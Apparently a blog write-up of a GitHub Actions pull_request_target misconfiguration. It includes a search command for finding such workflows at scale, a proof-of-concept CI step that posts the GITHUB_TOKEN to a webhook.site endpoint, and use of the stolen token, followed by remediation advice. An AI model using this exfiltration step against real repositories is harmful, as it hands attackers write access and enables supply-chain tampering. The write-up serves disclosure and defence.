Sitemap

I Forked a Repo and Got Secrets. Here’s How 🤯

3 min readJul 5, 2025

--

Hey folks, hope you’re doing well!

Today I’m sharing a real-world story about how a small misconfiguration in a GitHub Actions workflow could’ve led to something big — full repository access via leaked secrets. This one’s about automation, privilege, and the power of a single misused trigger.

The Recon: Finding the Target

I kicked things off with some open recon using the GitHub CLI. My goal was to hunt down repositories using the pull_request_target trigger — a well-known risky pattern when paired with untrusted pull requests.

Here’s the command I used:

gh repo search "on: pull_request_target" --visibility public --limit 100 --json name,url | jq -r '.[] | .url'

After scanning a few repos, I found one that immediately caught my attention — it was actively maintained and had GitHub Actions workflows that looked way too trusting.

The Vulnerability

Inside the .github/workflows/ci.yml file, I saw this:

on:
pull_request_target:
branches:
- main

jobs:
build:
runs-on: ubuntu-latest
permissions:
contents: write
steps:
- uses: actions/checkout@v3
with:
ref: ${{ github.event.pull_request.head.ref }}
- run: echo "Running tests"

This workflow was checking out untrusted PR code from forks using the ${{ github.event.pull_request.head.ref }} expression — but running it with the full power of pull_request_target, which includes secrets and a write-scoped GITHUB_TOKEN.

That’s like letting a guest into your house and handing them your keys “just in case.”

The Secret Hunt

I cloned the repo and ran TruffleHog and GitLeaks to scan for any accidental secret leaks:

trufflehog filesystem .github/
gitleaks detect --source .

No hardcoded secrets were found, but I didn’t need them — because the GitHub Actions job already had everything I needed at runtime.

The Exploit: Proof of Concept 🚨

I forked the repo, made a trivial change (added a blank line to a README), and submitted a pull request. In my fork, I added this malicious step to the CI workflow:

- name: Steal Token
run: curl -X POST https://webhook.site/<my-id> -H "X-Auth: $GITHUB_TOKEN"

Sure enough, the workflow ran — and my webhook received a valid GitHub token with write permissions. I verified its power by listing contents:

curl -H "Authorization: token <stolen-token>" https://api.github.com/repos/owner/repo/contents/

Boom. Full access 🔥

What This Token Could Do

  • Modify code in the main branch
  • Inject malicious workflows
  • Read or overwrite secrets in follow-up jobs
  • Disrupt CI/CD or deploy malicious releases

This wasn’t just a theoretical problem — this was full control, triggered from a PR.

Fixing the Mess: Remediation Tips

Avoid pull_request_target for untrusted PRs

If you must use it, never check out the PR’s code using
${{ github.event.pull_request.head.ref }}.

Lock down token permissions

Explicitly set minimal scopes:

permissions:
contents: read
pull-requests: none

Separate trusted and untrusted workflows

Use workflow_run to trigger sensitive jobs after merge, from the main branch only:

on:
workflow_run:
workflows: ["CI"]
types:
- completed

Audit your workflows regularly

Use tools like:

gitleaks detect --source .
trufflehog repo https://github.com/org/repo.git

And always review your .yml files manually too.

Final Thoughts

To the defenders:
CI pipelines are now part of your attack surface. Treat workflows like production code. Least privilege isn’t just good practice — it’s survival.

To fellow researchers:
If you’re looking for high-impact bugs, don’t just chase hardcoded secrets — chase runtime permissions. They’re often more powerful, and easier to find.

Thanks for reading, and take care out there!
Stay curious, stay ethical — and remember, even automated workflows can bleed secrets when misconfigured. Until next time, happy hacking! 👋

--

--

No responses yet